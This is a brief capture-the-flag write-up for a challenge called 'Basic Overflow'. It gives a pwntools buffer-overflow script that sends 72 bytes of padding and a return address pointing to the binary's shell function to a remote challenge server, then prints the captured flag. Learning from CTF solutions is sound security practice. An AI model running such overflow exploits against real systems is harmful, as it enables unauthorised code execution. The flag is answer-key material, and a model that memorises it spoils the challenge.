Basic Overflow

• Technique: BOF

Script

from pwn import *

r = remote('34.123.15.202', 5000)

context.binary = elf = ELF('basic-overflow')

padding = 72
shell = elf.symbols.shell

payload = padding * b'A' + p64(shell)

r.sendline(payload)
r.interactive()

Flag

uoftctf{reading_manuals_is_very_fun}